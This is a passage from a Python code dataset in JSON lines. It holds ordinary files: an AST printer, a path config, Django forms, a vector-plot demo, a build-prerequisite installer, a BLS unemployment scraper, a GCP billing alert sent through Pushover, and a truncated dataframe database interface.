"attribute"}, {"api_name": "re.search", "line_number": 399, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 421, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 421, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 428, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 428, "usage_type": "attribute"}]}
+{"seq_id": "562732880", "text": "import itertools\r\nimport ast\r\nimport astunparse\r\n\r\nclass Analyzer(ast.NodeVisitor):\r\n    def __init__(self):\r\n        None\r\n\r\n    def generic_visit(self,node):\r\n        #print(type(node).__name__)\r\n        #print([child[0] for child in ast.iter_fields(node)])\r\n        print(astunparse.unparse(node))\r\n        ast.NodeVisitor.generic_visit(self, node)\r\n\r\n    def visit_Expr(self,node):\r\n        #print(\"Expression value: \" + str(node.value))\r\n        print(astunparse.unparse(node))\r\n        self.generic_visit(node)\r\n\r\n    def visit_Call(self,node):\r\n        if isinstance(node.func,ast.Attribute):\r\n            #print(\"Call: \" + node.func.attr)\r\n            print(astunparse.unparse(node))\r\n            self.childVisit(node.func.value)\r\n        else:\r\n            #print(\"Call: \" + node.func.id)\r\n            print(astunparse.unparse(node))\r\n        self.childVisit(node.args)\r\n        self.childVisit(node.keywords)\r\n\r\n    def visit_Lambda(self,node):\r\n        #print(\"Lambda with args: \" + \",\".join([a.arg for a in node.args.args]))\r\n        print(astunparse.unparse(node))\r\n        self.childVisit(node.body)\r\n\r\n    def visit_BoolOp(self,node):\r\n        opName = type(node.op).__name__\r\n        #print(\"BoolOp: \" + opName)\r\n        print(astunparse.unparse(node))\r\n        self.childVisit(node.values)\r\n\r\n    def visit_BinOp(self,node):\r\n        opName = type(node.op).__name__\r\n        #print(\"BinOp: \" + opName)\r\n        print(astunparse.unparse(node))\r\n        self.childVisit(node.left)\r\n        self.childVisit(node.right)\r\n\r\n    def visit_Compare(self,node):\r\n        #print(\"Comparator\")\r\n        print(astunparse.unparse(node))\r\n        self.childVisit(node.left)\r\n        self.childVisit(node.comparators)\r\n\r\n    def visit_Load(self,node):\r\n        pass #Nop\r\n\r\n    def childVisit(self,attr):\r\n        if isinstance(attr,ast.AST):\r\n            self.visit(attr)\r\n        elif isinstance(attr,(list,set,tuple)):\r\n            [self.visit(n) for n in attr]\r\n\r\nwith open(\"examples/order-examples.txt\") as f:\r\n    lines = list(filter(lambda l: l and not l.startswith(\"#\"), [l.strip() for l in f.readlines()]))\r\n\r\nfor expr in lines:\r\n    print(expr)\r\n    parseTree = ast.parse(expr)\r\n    analyzer = Analyzer()\r\n    analyzer.visit(parseTree)", "sub_path": "Main.py", "file_name": "Main.py", "file_ext": "py", "file_size_in_byte": 2247, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "ast.NodeVisitor", "line_number": 5, "usage_type": "attribute"}, {"api_name": "astunparse.unparse", "line_number": 12, "usage_type": "call"}, {"api_name": "ast.NodeVisitor.generic_visit", "line_number": 13, "usage_type": "call"}, {"api_name": "ast.NodeVisitor", "line_number": 13, "usage_type": "attribute"}, {"api_name": "astunparse.unparse", "line_number": 17, "usage_type": "call"}, {"api_name": "ast.Attribute", "line_number": 21, "usage_type": "attribute"}, {"api_name": "astunparse.unparse", "line_number": 23, "usage_type": "call"}, {"api_name": "astunparse.unparse", "line_number": 27, "usage_type": "call"}, {"api_name": "astunparse.unparse", "line_number": 33, "usage_type": "call"}, {"api_name": "astunparse.unparse", "line_number": 39, "usage_type": "call"}, {"api_name": "astunparse.unparse", "line_number": 45, "usage_type": "call"}, {"api_name": "astunparse.unparse", "line_number": 51, "usage_type": "call"}, {"api_name": "ast.AST", "line_number": 59, "usage_type": "attribute"}, {"api_name": "ast.parse", "line_number": 69, "usage_type": "call"}]}
+{"seq_id": "455960033", "text": "import os\r\nimport json\r\n\r\n# Default paths.\r\n\r\ntop_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Top level pyControl folder.\r\n\r\ndirs = {\r\n        'config'      : os.path.join(top_dir, 'config'),\r\n        'framework'   : os.path.join(top_dir, 'pyControl'),\r\n        'devices'     : os.path.join(top_dir, 'devices'),\r\n        'tasks'       : os.path.join(top_dir, 'tasks'), \r\n        'experiments' : os.path.join(top_dir, 'experiments'),\r\n        'data'        : os.path.join(top_dir, 'data'),\r\n        'network_dir' : 'Z:\\data\\Behavior\\Raw',\r\n        'network_mac' : '/Volumes/karpovalab/data/Behavior/Raw',\r\n        }\r\n\r\n# User paths - When paths.py is imported on opening GUI, load any \r\n# saved user paths and update the dirs dict.\r\n\r\ndef update_paths(user_paths):    \r\n    for name, path in user_paths.items():\r\n        if os.path.exists(path):\r\n            dirs[name] = path\r\n\r\njson_path = os.path.join(dirs['config'], 'user_paths.json')\r\nif os.path.exists(json_path):\r\n    with open(json_path,'r') as f:\r\n        user_paths = json.loads(f.read())\r\n        update_paths(user_paths)", "sub_path": "config/paths.py", "file_name": "paths.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}]}
+{"seq_id": "206939875", "text": "from django import forms\nfrom .models import package\n\nclass packageCreateForm(forms.ModelForm):\n\n    class Meta:\n        model = package\n        fields =[\n            'id',\n            'shelf',\n            'shelf_compartment',\n            'weight',\n            'length',\n            'width',\n            'height',\n            'details',\n        ]\nclass packagePickForm(forms.Form):\n    class Meta:\n        model = package\n    package = forms.ModelMultipleChoiceField(queryset = package.objects.all(),widget=forms.CheckboxSelectMultiple,label='')\n\n", "sub_path": "website/design/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 547, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.forms.ModelForm", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 4, "usage_type": "name"}, {"api_name": "models.package", "line_number": 7, "usage_type": "name"}, {"api_name": "django.forms.Form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 18, "usage_type": "name"}, {"api_name": "models.package", "line_number": 20, "usage_type": "name"}, {"api_name": "models.package", "line_number": 21, "usage_type": "name"}, {"api_name": "django.forms.ModelMultipleChoiceField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 21, "usage_type": "name"}, {"api_name": "models.package.objects.all", "line_number": 21, "usage_type": "call"}, {"api_name": "models.package.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.forms.CheckboxSelectMultiple", "line_number": 21, "usage_type": "attribute"}]}
+{"seq_id": "590311187", "text": "import numpy as np\nfrom tfaxis import *\nfrom scipy.spatial.transform import Rotation as R\nimport matplotlib.pyplot as plt\n\n    # fig = plt.figure()\n    # ax = fig.add_subplot(1, 1, 1, projection='3d')\n    # V = np.array([[1,1],[-2,2],[4,-7]])\n    # origin = [0], [0] # origin point\n\n    # # plt.quiver(*origin, V[:,0], V[:,1], color=['r','b','g'], scale=21)\n    # plt.show()\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport numpy.linalg as LA\nfrom operator import sub\n\ndef draw_vector(ax,p1,p2,absolute=True):\n    print(p1,p2)\n    p1 = list(p1)\n    p2 = list(p2)\n    if absolute:\n        p_delta = list(map(sub,p2,p1))\n        p = p1+p_delta\n    else:\n        p = p1+p2\n        print(p)\n    ax.quiver(*p,label=str(p),color=np.random.rand(3,))\n\n\ndef main():\n    fig = plt.figure()\n    ax = fig.add_subplot(111, projection='3d')\n    ax.set_xlim([-4,4])\n    ax.set_ylim([-4,4])\n    ax.set_zlim([-4,4])\n    ax.set_xlabel('x')\n    ax.set_ylabel('y')\n    ax.set_zlabel('z')\n\n    p0 = np.array([0,0,0])\n    p1 = np.array([1,1,1])\n    p2 = np.array([1,2,3])\n    p3 = np.array([0,1,4])\n    for p in [p1,p2,p3]:\n        draw_vector(ax,p0,p,True)\n\n    p12 = np.cross(p1,p2)\n    p12 = p12/LA.norm(p12)\n    print(p12)\n    draw_vector(ax,p0,p12,False)\n\n    print(np.inner(p12,p1),np.inner(p12,p2))\n\n    p3_12 = np.inner(p3,p12)\n    p3_12 = p3_12*p12\n    p3_no12 = p3 - p3_12\n    \n    for p in [p3_12,p3_no12]:\n        draw_vector(ax,p0,p,True)\n\n    print(np.inner(p3_no12,p12),np.inner(p3_no12,p12))\n    ax.legend()\n    plt.show()\n\nif __name__ == \"__main__\":\n    main()", "sub_path": "video-to-pose3D/control/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1604, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "operator.sub", "line_number": 24, "usage_type": "argument"}, {"api_name": "numpy.random.rand", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 29, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.inner", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.inner", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.inner", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}]}
+{"seq_id": "408418741", "text": "#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport sys\nimport build\nimport logging\nimport optparse\nimport platform\n\ndef main():\n    # configure parser\n    parser = optparse.OptionParser()\n    parser.add_option('-v', '--verbose', action=\"count\", dest='verbosity', default=1, help='print more information to stdout')\n    parser.add_option('-q', '--quiet', action='store_const', const=0, dest='verbosity', help='print less information to stdout')\n    (options, args) = parser.parse_args()\n\n    # configure logging\n    log = logging.getLogger()\n    if options.verbosity >= 2:\n        log.setLevel(logging.DEBUG)\n    elif options.verbosity == 1:\n        log.setLevel(logging.INFO)\n    else:\n        log.setLevel(logging.WARNING)\n    ch = logging.StreamHandler()\n    formatter = logging.Formatter(\"%(levelname)s - %(message)s\")\n    ch.setFormatter(formatter)\n    log.addHandler(ch)\n\n    pld = platform.linux_distribution()[0]\n    if pld in ['debian', 'Ubuntu']:\n        log.info('Detected: {0}'.format(pld))\n        cmd = ['sudo', 'apt-get', 'update', '-y']\n        build.run_cmd(cmd, check_rc='getting updates failed')\n        # get prerequisites\n        cmd = ['sudo','apt-get','install','-y','make','autoconf2.13','texinfo',\n               'help2man','g++','git','libtool','python-dev','libbz2-dev','zlib1g-dev',\n               'libcurl4-gnutls-dev','libxml2-dev','pkg-config','uuid-dev','libssl-dev','lsb-release']\n        if pld in ['Ubuntu'] and platform.linux_distribution()[1] < '14':\n            cmd.extend(['ruby1.9.1','ruby1.9.1-dev',])\n        else:\n            cmd.extend(['ruby','ruby-dev',])\n        build.run_cmd(cmd, check_rc='installing prerequisites failed')\n        # if old, bootstrap g++\n        if pld in ['Ubuntu'] and platform.linux_distribution()[1] < '14':\n            # ubuntu12 ships with g++ 4.6 - needs 4.8+ to build clang\n            log.info('Detected: Old Ubuntu - need to get g++ 4.8 to build clang')\n            cmd = ['sudo','apt-get','install','-y','python-software-properties']\n            build.run_cmd(cmd, check_rc='installing add-apt-repository prereq failed')\n            cmd = ['sudo', 'add-apt-repository', '-y', 'ppa:ubuntu-toolchain-r/test']\n            build.run_cmd(cmd, check_rc='installing ppa failed')\n            cmd = ['sudo', 'apt-get', 'update', '-y']\n            build.run_cmd(cmd, check_rc='getting updates failed')\n            cmd = ['sudo', 'apt-get', 'install', '-y', 'g++-4.8']\n            build.run_cmd(cmd, check_rc='installing g++-4.8 failed')\n            cmd = ['sudo', 'update-alternatives', '--install', '/usr/bin/g++', 'g++', '/usr/bin/g++-4.8', '50']\n            build.run_cmd(cmd, check_rc='swapping g++-4.8 failed')\n            cmd = ['sudo', 'update-alternatives', '--install', '/usr/bin/gcc', 'gcc', '/usr/bin/gcc-4.8', '50']\n            build.run_cmd(cmd, check_rc='swapping gcc-4.8 failed')\n        # if new, get autoconf\n        if pld in ['Ubuntu'] and platform.linux_distribution()[1] > '16':\n            log.info('Detected: Ubuntu 16+ - need to get autoconf')\n            cmd = ['sudo','apt-get','install','-y','autoconf']\n            build.run_cmd(cmd, check_rc='installing autoconf failed')\n        # get necessary ruby gems\n        cmd = ['sudo','gem','install','-v','1.8.1','ffi']\n        build.run_cmd(cmd, check_rc='installing ffi failed')\n        cmd = ['sudo','gem','install','-v','1.8.5','json']\n        build.run_cmd(cmd, check_rc='installing json failed')\n        cmd = ['sudo','gem','install','-v','1.4.0','fpm']\n        build.run_cmd(cmd, check_rc='installing fpm failed')\n\n    elif pld in ['CentOS', 'CentOS Linux', 'Red Hat Enterprise Linux Server', 'Scientific Linux']:\n        log.info('Detected: {0}'.format(pld))\n        # prep\n        cmd = ['sudo','yum','clean','all']\n        build.run_cmd(cmd, check_rc='yum clean failed')\n        cmd = ['sudo','yum','update','-y','glibc*','yum*','rpm*','python*']\n        build.run_cmd(cmd, check_rc='yum update failed')\n        # get prerequisites\n        cmd = ['sudo','yum','install','-y','epel-release','wget','openssl','ca-certificates']\n        build.run_cmd(cmd, check_rc='installing epel failed')\n        cmd = ['sudo','yum','install','-y','gcc-c++','git','autoconf','automake','texinfo',\n               'help2man','rpm-build','rubygems','ruby-devel','python-devel','zlib-devel',\n               'bzip2-devel','libcurl-devel','libxml2-devel','libtool','libuuid-devel','openssl-devel']\n        build.run_cmd(cmd, check_rc='installing prerequisites failed')\n        # get necessary ruby gems\n        cmd = ['sudo','gem','install','-v','1.8.1','ffi']\n        build.run_cmd(cmd, check_rc='installing ffi failed')\n        cmd = ['sudo','gem','install','-v','1.8.5','json']\n        build.run_cmd(cmd, check_rc='installing json failed')\n        cmd = ['sudo','gem','install','-v','1.4.0','fpm']\n        build.run_cmd(cmd, check_rc='installing fpm failed')\n        # if old, bootstrap g++\n        if platform.linux_distribution()[1] < '7':\n            # centos6 ships with g++ 4.4 - needs 4.8+ to build clang\n            log.info('Detected: Old {0} - need to get g++ 4.8 to build clang'.format(pld))\n            cmd = ['sudo','yum','install','-y','centos-release-scl']\n            build.run_cmd(cmd, check_rc='install centos-release-scl failed')\n            cmd = ['sudo','yum','install','-y','devtoolset-6']\n            build.run_cmd(cmd, check_rc='install devtoolset-6 failed')\n            print('========= set environment to use the new g++ ========= ')\n            print('export CC=/opt/rh/devtoolset-6/root/usr/bin/gcc')\n            print('export CXX=/opt/rh/devtoolset-6/root/usr/bin/g++')\n    elif pld in ['openSUSE ', 'SUSE Linux Enterprise Server']:\n        log.info('Detected: {0}'.format(pld))\n        # get prerequisites\n        cmd = ['sudo','zypper','install','-y','ruby-devel','makeinfo','rubygems','libopenssl-devel',\n               'help2man','python-devel','libbz2-devel','libcurl-devel','libxml2-devel','uuid-devel']\n        build.run_cmd(cmd, check_rc='installing prerequisites failed')\n        # get necessary ruby gems\n        cmd = ['sudo','gem','install','-v','1.8.1','ffi']\n        build.run_cmd(cmd, check_rc='installing ffi failed')\n        cmd = ['sudo','gem','install','-v','1.8.5','json']\n        build.run_cmd(cmd, check_rc='installing json failed')\n        cmd = ['sudo','gem','install','-v','1.4.0','fpm']\n        build.run_cmd(cmd, check_rc='installing fpm failed')\n    else:\n        if platform.mac_ver()[0] != '':\n            log.info('Detected: {0}'.format(platform.mac_ver()[0]))\n            # get prerequisites\n            cmd = ['brew','install','git','help2man','texinfo','libtool']\n            build.run_cmd(cmd, check_rc='installing prerequisites failed')\n            cmd = ['brew','link','texinfo','--force']\n            build.run_cmd(cmd, check_rc='linking texinfo failed')\n        else:\n            log.error('Cannot determine prerequisites for platform [{0}]'.format(pld))\n            return 1\n\nif __name__ == '__main__':\n    sys.exit(main())\n", "sub_path": "install_prerequisites.py", "file_name": "install_prerequisites.py", "file_ext": "py", "file_size_in_byte": 7039, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "optparse.OptionParser", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 20, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 22, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 24, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 26, "usage_type": "call"}, {"api_name": "platform.linux_distribution", "line_number": 30, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 34, "usage_type": "call"}, {"api_name": "platform.linux_distribution", "line_number": 39, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 43, "usage_type": "call"}, {"api_name": "platform.linux_distribution", "line_number": 45, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 49, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 51, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 53, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 55, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 57, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 59, "usage_type": "call"}, {"api_name": "platform.linux_distribution", "line_number": 61, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 64, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 67, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 69, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 71, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 77, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 79, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 82, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 86, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 89, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 91, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 93, "usage_type": "call"}, {"api_name": "platform.linux_distribution", "line_number": 95, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 99, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 101, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 110, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 113, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 115, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 117, "usage_type": "call"}, {"api_name": "platform.mac_ver", "line_number": 119, "usage_type": "call"}, {"api_name": "platform.mac_ver", "line_number": 120, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 123, "usage_type": "call"}, {"api_name": "build.run_cmd", "line_number": 125, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 131, "usage_type": "call"}]}
+{"seq_id": "351881014", "text": "import re, json\n\nfrom selenium import webdriver\n\nTABLE_XPATH = '//*[@id=\"bodytext\"]/table[2]/tbody/tr'\nSTATE_XPATH = '//*[@id=\"bodytext\"]/table[2]/caption/pre'\n\nSTATE_REGEX = 'State\\/Region\\/Division\\:  (.*)'\n\ncolumn_to_name_map = {\n    0: 'labor_force',\n    1: 'employment',\n    2: 'unemployment',\n    3: 'unemployment_rate',\n}\n\nmonth_to_number_map = {\n    'Jan': '01',\n    'Feb': '02',\n    'Mar': '03',\n    'Apr': '04',\n    'May': '05',\n    'Jun': '06',\n    'Jul': '07',\n    'Aug': '08',\n    'Sep': '09',\n    'Oct': '10',\n    'Nov': '11',\n    'Dec': '12',\n}\n\nstate_data = {}\n\nif __name__ == \"__main__\":\n    driver_path = './webdrivers/phantomjs-win'\n    driver = webdriver.PhantomJS(driver_path)\n\n    for state_id in range(1, 57):\n        url = 'https://data.bls.gov/timeseries/LASST{0:02d}0000000000006'.format(state_id)\n        driver.get(url)\n\n        try:\n            state_info = driver.find_element_by_xpath(STATE_XPATH).text.strip()\n            state = re.search(STATE_REGEX, state_info).group(1)\n\n            rows = driver.find_elements_by_xpath(TABLE_XPATH)\n\n            all_data = []\n            for row in rows:\n                row_data = {}\n                date_info = row.find_elements_by_xpath('th')\n                year = date_info[0].text\n                month = date_info[1].text\n                row_data['date'] = '{}-{}'.format(year, month_to_number_map[month])\n\n                data_info = row.find_elements_by_xpath('td')\n                for index in range(len(data_info)):\n                    row_data[column_to_name_map[index]] = data_info[index].text.replace('(P)', '')\n\n                all_data.append(row_data)\n\n            state_data[state] = all_data\n        except Exception as e:\n            pass\n\n    print(json.dumps(state_data, indent=4))\n\n", "sub_path": "retriever.py", "file_name": "retriever.py", "file_ext": "py", "file_size_in_byte": 1775, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "selenium.webdriver.PhantomJS", "line_number": 36, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 36, "usage_type": "name"}, {"api_name": "re.search", "line_number": 44, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 66, "usage_type": "call"}]}
+{"seq_id": "44044062", "text": "import base64\nimport os\nimport http.client\nimport urllib\nimport json\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nPUSHOVER_API_KEY = os.environ.get('PUSHOVER_API_KEY')\nPUSHOVER_USER_KEY = os.environ.get('PUSHOVER_USER_KEY')\n\ndef send(message):\n    conn = http.client.HTTPSConnection(\"api.pushover.net:443\")\n    conn.request(\"POST\", \"/1/messages.json\",\n                 urllib.parse.urlencode({\n                     \"token\": PUSHOVER_API_KEY,\n                     \"user\": PUSHOVER_USER_KEY,\n                     \"message\": message,\n                 }), {\"Content-type\": \"application/x-www-form-urlencoded\"})\n    r = conn.getresponse()\n    return r\n\n\ndef gcp_billing_alert(event, context):\n    \"\"\"Triggered from a message on a Cloud Pub/Sub topic.\n    Args:\n         event (dict): Event payload.\n         context (google.cloud.functions.Context): Metadata for the event.\n    \"\"\"\n    try:\n        pubsub_message = base64.b64decode(event['data']).decode('utf-8')\n        loaded_json = json.loads(pubsub_message)\n        percent_of_budget = float(loaded_json['costAmount']) / float(loaded_json['budgetAmount'])\n        if percent_of_budget > 0.8:\n            send(f'Almost time to panic {percent_of_budget}')\n    except:\n        send('pubsub billing failure on GCP PANIC!')\n    ", "sub_path": "billing-alert/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1276, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 12, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "http.client.client.HTTPSConnection", "line_number": 15, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 15, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 15, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 17, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 17, "usage_type": "attribute"}, {"api_name": "base64.b64decode", "line_number": 33, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}]}
+{"seq_id": "302231698", "text": "import logging\nfrom urlparse import urlsplit\nfrom datetime import datetime\nimport pandas as ps\nfrom chronopg.tools.timer import Timer\nfrom chronopg.tools.exception import mk_Exception\nfrom chronopg.tsdb.apis.select import select\nfrom chronopg.tsdb.cursor import Cursor\n\n\n\n#------------------------------------------------------------------------------\n\n\nclass Interface(object):\n    \"\"\"Database adaptor for point-in-time dataframe objects\n    \"\"\"\n    Exception = mk_Exception(__name__)\n    Logger = logging.getLogger(__name__)\n\n    def __init__(self, uri):\n        \"\"\"Driver agnostic database interface for dataframe objects\n           @param uri - connection URI\n        \"\"\"\n        if not isinstance(uri, basestring):\n            raise self.Exception('basestring expected')\n        parts = urlsplit(uri)\n        try:\n            scheme = parts.scheme\n            self._api = select(scheme)\n            self._uri = uri\n            self._database = parts.path\n            self._username = parts.username\n        except KeyError:\n            raise self.Exception('{0}: unsupported driver'.format(scheme))\n\n        try:\n            self.connect().close()\n        except Exception as exc:\n            raise self.Exception('connect error: {0}'.format(exc))\n\n    def connect(self):\n        \"\"\"Return a connection to the database\n        \"\"\"\n        with Timer(self.Logger, 'connect: {0}'.format(self._database)):\n            return self._api.connect(self._uri)\n\n    def adaptor(self, cursor, schema, table):\n        \"\"\"Return adaptor instance created by interrogating schema of a table\n           @param cursor - database cursor\n           @param schema - schema name\n           @param table - table name\n        \"\"\"\n        if not isinstance(cursor, Cursor):\n            raise self.Exception('cursor required')\n        if not (isinstance(schema, basestring) and\n                isinstance(table, basestring)):\n            raise self.Exception('{0}.{1}: schema/table - strings required')\n        with Timer(self.Logger, 'adaptor: {0}.{1}.{2}'.format(\n                self._database, schema, table)):\n            return self._api.from_schema(cursor, schema, table)\n\n    def mogrify(self, cursor, query, params):\n        \"\"\"Return query string with placeholder substitution\n           @param cursor - database cursor\n           @param query - query string\n           @param params - placeholder substitution parameters\n        \"\"\"\n        return self._api.mogrify(cursor, query, params)\n\n    def table_exists(self, cursor, schema, table):\n        \"\"\"Test if a able exists\n           @param cursor - database cursor\n           @param schema - schema name\n           @param table - table name\n        \"\"\"\n        if self._api.from_schema(cursor, schema, table):\n            return True\n        else:\n            return False\n\n    def create_table_if(self, cursor, schema, table, dataframe):\n        \"\"\"Create a table using specifications derived form a dataframe\n           @param cursor - database cursor\n           @param schema - schema name\n           @param table - table name\n           @param dataframe - dataframe to use for deriving schema\n        \"\"\"\n        adaptor = self._api.from_dataframe(schema, table, dataframe)\n        cursor.execute(adaptor.sql_create_table_if(), ())\n\n    def drop_table(self, cursor, schema, table):\n        \"\"\"Drop a table\n           @param cursor - database cursor\n           @param schema - schema name\n           @param table - table name\n        \"\"\"\n        adaptor = self._api.from_schema(cursor, schema, table)\n        cursor.execute(adaptor.sql_drop_table(), ())\n\n    def truncate_table(self, cursor, schema, table):\n        \"\"\"Truncate a table\n           @param cursor - database cursor\n           @param schema - schema name\n           @param table - table name\n        \"\"\"\n        adaptor = self._api.from_schema(cursor, schema, table)\n        cursor.execute(adaptor.sql_truncate_table(), ())\n\n    def insert(self, cursor, adaptor, dataframe, now=None, user=None):\n        \"\"\"Insert dataframe into table\n           @param cursor - database cursor\n           @param adaptor - adaptor for table\n           @param dataframe - dataframe to insert into table\n           @param now - timestamp to use as 'current' time\n           @param user - user name to attribute inserted data to\n        \"\"\"\n        with Timer(self.Logger, 'insert'):\n            adaptor.insert(cursor, dataframe,\n                    now or datetime.now(), user or self._username)\n\n    def update(self, cursor, adaptor,\n            changes, criteria=None, values=(), now=None, user=None):\n        \"\"\"Update rows in table\n           @param cursor - database cursor\n           @param adaptor - adaptor for table\n           @param changes - a dictionary of {column -> new value}\n           @param criteria - criteria to determine which records to update\n           @param values - placeholder values for dictionary-like criteria\n           @param now - timestamp to note as record creation time\n           @param user - user name to attribute record updates to\n        \"\"\"\n        with Timer(self.Logger, 'update'):\n            if isinstance(criteria, ps.DataFrame):\n                raise self.Exception('update: criteria cannot be a DataFrame')\n            adaptor.update(cursor, changes, criteria, values,\n                    now or datetime.now(), user or self._username)\n\n    def delete(self, cursor, adaptor,\n            criteria=None, values=(), now=None, user=None):\n        \"\"\"Delete rows from table\n           @param cursor - database cursor\n           @param adaptor - adaptor for table\n           @param criteria - criteria to determine which records to update\n           @param values - placeholder values for dictionary-like criteria\n           @param now - timestamp to note as record creation time\n        \"\"\"\n        with Timer(self.Logger, 'delete'):\n            if isinstance(criteria, ps.DataFrame):\n                raise self.Exception('delete: criteria cannot be a 